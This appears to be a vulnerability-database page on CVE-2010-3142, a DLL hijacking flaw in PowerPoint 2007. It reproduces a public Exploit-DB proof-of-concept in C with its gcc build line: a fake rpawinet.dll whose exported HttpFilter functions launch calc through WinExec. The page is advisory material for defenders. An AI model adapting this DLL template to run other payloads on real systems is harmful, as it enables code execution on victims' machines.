CVE-2010-3142

critical
Published 2010-08-27 ยท Modified 2026-04-29
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
10.0

Description

Untrusted search path vulnerability in Microsoft Office PowerPoint 2007 allows local users, and possibly remote attackers, to execute arbitrary code and conduct DLL hijacking attacks via a Trojan horse rpawinet.dll that is located in the same folder as a .odp, .pothtml, .potm, .potx, .ppa, .ppam, .pps, .ppt, .ppthtml, .pptm, .pptxml, .pwz, .sldm, .sldx, and .thmx file.

Predictions

Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-14782 local windows text ยท 1 KB
storm ยท 2010-08-25

Microsoft PowerPoint 2007 - 'rpawinet.dll' DLL Hijacking

text exploit Source: Exploit-DB
/*

Exploit Title: Microsoft Office PowerPoint 2007 DLL Hijacking Exploit (rpawinet.dll)
Date: August 25, 2010
Author: storm (storm@gonullyourself.org)
Version: 2007 (12.0.6535.5002) SP2
Tested on: Windows Vista SP2

http://www.gonullyourself.org/

gcc -shared -o rpawinet.dll PowerPoint-DLL.c

.odp, .pothtml, .potm, .potx, .ppa, .ppam, .pps, .ppt, .ppthtml, .pptm, .pptxml, .pwz, .sldm, .sldx, and .thmx files are affected.

*/

#include <windows.h>
#define DllExport __declspec (dllexport)

DllExport void HttpFilterBeginningTransaction() { hax(); }
DllExport void HttpFilterClose() { hax(); }
DllExport void HttpFilterOnBlockingOps() { hax(); }
DllExport void HttpFilterOnResponse() { hax(); }
DllExport void HttpFilterOnTransactionComplete() { hax(); }
DllExport void HttpFilterOpen() { hax(); }

int hax()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}
EDB-14723 local windows
TheLeader ยท 2010-08-24

Microsoft PowerPoint 2010 - 'pptimpconv.dll' DLL Hijacking

Source code queued for fetch โ€” refresh in a moment.

Application impact

VendorProductVersionsFixed
windows microsoftpowerpoint2007

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

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